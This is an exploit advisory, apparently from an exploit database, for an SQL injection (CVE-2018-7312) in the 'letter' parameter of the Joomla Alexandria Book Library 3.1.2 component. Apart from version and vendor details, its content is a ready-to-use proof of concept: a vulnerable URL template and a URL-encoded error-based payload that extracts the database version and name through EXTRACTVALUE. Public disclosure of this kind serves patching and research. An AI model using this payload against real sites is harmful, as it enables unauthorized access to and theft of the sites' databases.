Joomla! Component Alexandria Book Library 3.1.2 - 'letter' SQL Injection

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# Exploit Title: Joomla! Component Alexandria Book Library 3.1.2 - SQL Injection
# Dork: N/A
# Date: 22.02.2018
# Vendor Homepage: https://alexandriabooklibrary.org/
# Software Link: https://extensions.joomla.org/extensions/extension/living/education-a-culture/alexandria-book-library/
# Software Download: https://alexandriabooklibrary.org/abook_files/Alexandria_Book_Library/Alexandria_Book_Library_for_Joomla_30/Component/com_abook_3_1_2_beta.tgz
# Version: 3.1.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-7312
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# Exploit Author: Ihsan Sencan
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# POC: 
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# 1)
# http://localhost/[PATH]/index.php?option=com_abook&view=category&letter=[SQL]
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# %44%27%20%41%4e%44%20%45%58%54%52%41%43%54%56%41%4c%55%45%28%32%32%2c%43%4f%4e%43%41%54%28%30%78%35%63%2c%76%65%72%73%69%6f%6e%28%29%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%31%3d%31%2c%31%29%29%29%2c%64%61%74%61%62%61%73%65%28%29%29%29%2d%2d%20%56%65%72%41%79%61%72%69
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